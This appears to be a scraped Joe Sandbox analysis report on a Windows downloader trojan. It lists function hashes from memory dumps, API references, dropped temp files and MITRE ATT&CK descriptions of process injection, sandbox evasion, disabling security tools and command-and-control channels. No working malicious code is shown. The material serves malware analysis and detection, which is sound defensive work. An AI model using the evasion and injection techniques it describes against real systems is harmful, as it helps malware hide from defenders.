Source File: 00000000.00000002.1177152256.0000000005670000.00000040.00000800.00020000.00000000.sdmp, Offset: 05670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5670000_SecuriteInfo.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: aa688effe3064110e19d42bbdc1c85854999373906dbb9fcb866d0f771e1159d
Instruction ID: 663d1dc8c7f2ec19690be5eaaf2ce4e001e10c9e35f55e69315c9dd575e07b93
Opcode Fuzzy Hash: aa688effe3064110e19d42bbdc1c85854999373906dbb9fcb866d0f771e1159d
Instruction Fuzzy Hash: 1F113675D003498FDB24DFAAC8457DEFBF8EB88224F248419D419A7240CB79A945CBA4

Function 0147D4C8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1176174692.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_147d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e6f84c1b6a66cff74a03ca7a78227c050881d55041d096d672507a938d14bf
Instruction ID: c49f1c81375200b426caadaba845aa98b596c2716c4661f924a878623635c791
Opcode Fuzzy Hash: 88e6f84c1b6a66cff74a03ca7a78227c050881d55041d096d672507a938d14bf
Instruction Fuzzy Hash: 50212571910200EFDB15DF54D9C0B57BF66FF88318F24856EE90A0B266C336D456CBA2

Function 0147D3DC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1176174692.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_147d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49b2a9d2b14d8ebdf3a90358942edfba132a45fef895969a4aa70e0709978998
Instruction ID: 0d1e8a554f8a9cf48b271df9250b07d57853275c6e396a1718ed1a8057cfa840
Opcode Fuzzy Hash: 49b2a9d2b14d8ebdf3a90358942edfba132a45fef895969a4aa70e0709978998
Instruction Fuzzy Hash: E8213372910204DFDB15DF54D9C0B97BBA6FF88320F20C17AE8090B266C336E456CAA2

Function 0147D4C3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1176174692.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_147d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0ffab5f0a75abba76e46da30f4106ab1a9b5d88ed3f9b00d643379fe76b32b3
Instruction ID: 5f785a368b5b4f7c5e24c8a372cbab11afd03efd0ef52a0685564b8401f443b4
Opcode Fuzzy Hash: a0ffab5f0a75abba76e46da30f4106ab1a9b5d88ed3f9b00d643379fe76b32b3
Instruction Fuzzy Hash: 3E11AF76904240CFDB16CF54D9C4B56BF62FB84324F2486AAD8090B266C336D456CBA1

Function 0147D3D7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1176174692.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_147d000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0ffab5f0a75abba76e46da30f4106ab1a9b5d88ed3f9b00d643379fe76b32b3
Instruction ID: 3eabae4832e9356bc841c7c2f813205c07ae55c7cc17fae097fea7901d8428f8
Opcode Fuzzy Hash: a0ffab5f0a75abba76e46da30f4106ab1a9b5d88ed3f9b00d643379fe76b32b3
Instruction Fuzzy Hash: 4C11D272804240CFCB06CF44D5C0B56BF62FF84314F24C1AAD8090B666C33AD456CBA1

Analysis Process: MSBuild.exePID: 5036, Parent PID: 3928COMMON

Execution Graph

Execution Coverage:	15.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 01239658 Relevance: 4.0, Strings: 3, Instructions: 260
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xq, xrefs: 01239687
LRq, xrefs: 012399F5
$q, xrefs: 0123966E

Memory Dump Source

Source File: 00000004.00000002.2388009188.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1230000_MSBuild.jbxd

Similarity

API ID:
String ID: LRq$Xq$$q
API String ID: 0-2170488595
Opcode ID: a75c3d7352e3f0591ac3cf2371eb5f02000a28e07c4b6c3fa8044d8aee546ae3
Instruction ID: 0e8df132d711a5b4aee7c9c40715da8e12c17af116ee8a586b16f88f42f4a201
Opcode Fuzzy Hash: a75c3d7352e3f0591ac3cf2371eb5f02000a28e07c4b6c3fa8044d8aee546ae3
Instruction Fuzzy Hash: 93818E75F102198BDF18AB799C5577EBAB3BFC8300B09842DE457EB384CE7488429B91

Function 01233A80 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 457
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 01233F61

Strings

4|q, xrefs: 01233E85

Memory Dump Source

Source File: 00000004.00000002.2388009188.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1230000_MSBuild.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID: 4|q
API String ID: 2706961497-612143306
Opcode ID: 2c02115b3b65024aa0aee0b69fc8b245029076680bcf457d7222dd09393f861e
Instruction ID: f2f2577e71a6940727de6d3064940a4f4aa8663acf1df1a0732714791119aa24
Opcode Fuzzy Hash: 2c02115b3b65024aa0aee0b69fc8b245029076680bcf457d7222dd09393f861e
Instruction Fuzzy Hash: 6EE1D9B2F203464BDB14CA7D8C903AEB6E37FC4224F588239E615DB7D5EA74DA014751

Function 01233308 Relevance: 3.1, Strings: 2, Instructions: 647
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4|q, xrefs: 012336FD
PHq, xrefs: 01233A42

Memory Dump Source

Source File: 00000004.00000002.2388009188.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1230000_MSBuild.jbxd

Similarity

API ID:
String ID: 4|q$PHq
API String ID: 0-2459780019
Opcode ID: e5429918352b28494269c38dc6d6913c8b76ca53ce6330a298623a8849a9f650
Instruction ID: 51c77c83165d7aa1524e4cbb5121143e14c569af25253b0a918306a79ac6e36d
Opcode Fuzzy Hash: e5429918352b28494269c38dc6d6913c8b76ca53ce6330a298623a8849a9f650
Instruction Fuzzy Hash: C222B0B1B142064FDB14DA7D8D903AE76A3BFC8220F198239D606DB3D5EE74DE069B41

Function 01233ED8 Relevance: 1.6, APIs: 1, Instructions: 63
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 01233F61

Memory Dump Source

Source File: 00000004.00000002.2388009188.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1230000_MSBuild.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: b07329029631676850c774ea48d29ac6e4e38f951f8403d12467c996a9a45dac
Instruction ID: db18e62cebcb800c85bf0bd3d82759970c96b46ac2f65d86d1d0f4663c120776
Opcode Fuzzy Hash: b07329029631676850c774ea48d29ac6e4e38f951f8403d12467c996a9a45dac
Instruction Fuzzy Hash: CF21F2B1D013499FDB10CFAAD880ADEFBF5FF48310F60842AE519A7210C775A911CBA0

Function 01238888 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2388009188.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbeed697895032b3f03ed21fe5a0aef710942927949350f43e9e515e4d860c67
Instruction ID: 5ec27948fe4dfdaf72afafda24fe571422d467abd56bb8775b352f5acd956b9e
Opcode Fuzzy Hash: dbeed697895032b3f03ed21fe5a0aef710942927949350f43e9e515e4d860c67
Instruction Fuzzy Hash: FDB132B1E1020ACFDB14CFA9C88579DBBF2BF88314F148229E515EB354EB749856CB91

Function 01239158 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2388009188.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0024cb56fdcc82db7d191de2221324bd1bb885a84c51a2515a4d9d00ee23eb34
Instruction ID: 1bb8b82fe564ea287368aedc7d946339fe75eb0ee02a3e4964317b0fc102e3ac
Opcode Fuzzy Hash: 0024cb56fdcc82db7d191de2221324bd1bb885a84c51a2515a4d9d00ee23eb34
Instruction Fuzzy Hash: 45B15EB0E106098FDF14CFA9D8817DEBBF2BF89318F148129D515E7294EBB49885CB81

Non-executed Functions

Function 0123CA90 Relevance: 1.0, Instructions: 1021COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2388009188.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40ec566bc9039be5ed99beab4e11a4f0498d65ded5557bfbff6e2b011600611
Instruction ID: ba5fffea78f81d509aca6b1b4d6f13cdc6af5e07e2d19f9d561d84af898b3530
Opcode Fuzzy Hash: c40ec566bc9039be5ed99beab4e11a4f0498d65ded5557bfbff6e2b011600611
Instruction Fuzzy Hash: BA827C707007058FDB18DF69D895B2EB7E2BFC8300F64856DE5068B3A6DA75DD068B81

Function 012332F7 Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2388009188.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e860c0a3c1c752fb6084290bc1fee3c0de7ce8798c60ea908d994c1e41506a2f
Instruction ID: 37b7de2aa01038ef9272277538a46481ab1964322470155d1f3d2f5844fbbbc9
Opcode Fuzzy Hash: e860c0a3c1c752fb6084290bc1fee3c0de7ce8798c60ea908d994c1e41506a2f
Instruction Fuzzy Hash: B89192B2F243164BDB09C9AE8D913AE65D37FC4215F4D8139DA02CF785EEB4DA065B40

Function 01238540 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2388009188.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1230000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1359455e06bea7d1a929d86fde11687fc6469bb39bba956d179595466723e95a
Instruction ID: 1b2300557f1d213fa641852b7e5d1777adb0e3b1435671f0b7b4c90ffd8007f2
Opcode Fuzzy Hash: 1359455e06bea7d1a929d86fde11687fc6469bb39bba956d179595466723e95a
Instruction Fuzzy Hash: AF9161B1E10309CFDB14CFA9D98179DBBF2BF88314F148229E515AB294EB749846CB81

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe.log

C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.0.cs

C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.cmdline

C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.dll

C:\Users\user\AppData\Local\Temp\5dljncsi\5dljncsi.out

C:\Users\user\AppData\Local\Temp\5dljncsi\CSC46F1B711EF3E491E90EFFC96C5EAD74.TMP

C:\Users\user\AppData\Local\Temp\RES8956.tmp

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Function 05672504 Relevance: 2.1, APIs: 1, Instructions: 572
COMMON

Function 05672C54 Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Function 05672C60 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 05672AC2 Relevance: 1.6, APIs: 1, Instructions: 81
COMMON

Function 056729D2 Relevance: 1.6, APIs: 1, Instructions: 70
injectionCOMMON

Function 056729D8 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 05672430 Relevance: 1.6, APIs: 1, Instructions: 67
threadCOMMON

Function 05672438 Relevance: 1.6, APIs: 1, Instructions: 63
threadCOMMON

Function 05672AC8 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 05672912 Relevance: 1.6, APIs: 1, Instructions: 56
memoryCOMMON

Function 05672918 Relevance: 1.6, APIs: 1, Instructions: 53
memoryCOMMON

Function 05672380 Relevance: 1.6, APIs: 1, Instructions: 53
threadCOMMON

Function 05672388 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON